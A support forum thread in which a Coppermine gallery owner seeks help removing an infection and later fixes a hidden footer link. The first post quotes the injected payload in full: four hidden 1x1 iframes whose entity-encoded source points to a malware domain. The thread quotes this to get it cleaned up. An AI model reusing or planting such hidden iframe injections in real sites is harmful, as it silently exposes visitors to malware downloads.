[Solved]: iframe at top of main page

[SpookyDan]

Ive used the guides and tips on here to remove an infection/iframe code but I cant seem to find where the last piece is coming from.

This is showing up above everything on my main page if i view source:

<iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe><iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe><iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe><iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#111;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1 height=1></iframe>

Ive cleaned out everything I thought it might be.  Any suggestions.

[Joe Carver]

You might have to do more cleaning. Be sure that the rest of your site is sanitized.
Make sure your own or other people's computers (with site admin access) are clean too.

You might be able to block the site listed in your iframe contamination. It is listed on Macafee as the source of malware.

The listing is obscured here for obvious reasons. -c-c-f-e-l-o-m-v-h-k-.-c-o-m-
(remove all dashes)

Block the site and also the ip address for the site. On your computer too.

This won't cure your infection, but might help to slow them down a little.

Ive cleaned out everything I thought it might be.  Any suggestions.

Check everything as instructed

[Nibbler]

You probably missed include/config.inc.php

[SpookyDan]

You probably missed include/config.inc.php

This file was cleaned in my original effort.  Still looks good.

[Nibbler]

Post a link to the gallery.

[SpookyDan]

www.urbanatrophy.com

[SpookyDan]

I found a bit of bad code remaining in one of the captcha plug-in files.  Seems to be back to normal for now.

[phill104]

Please restore the "Powered by Coppermine" footer. Making it black on black is a bit rude and against the license.

[SpookyDan]

Please restore the "Powered by Coppermine" footer. Making it black on black is a bit rude and against the license.

I didn't do it intentionally.  Which code in the css file is associated with it.  I'll gladly fix it if I can find it.

[phill104]

Using Firebug (the firefox plugin - https://addons.mozilla.org/en-US/firefox/addon/1843) you can find it in seconds.

Simply click inspect then move the mouse over the desired element you wish to see. In this case you will see the code

style.css (line 461)

Code Select Expand

.footer a {
color:#000000;
text-decoration:none;
}

Just change the #000000 to something like #ffffff

[SpookyDan]

Just change the #000000 to something like #ffffff

Fixed it, thanks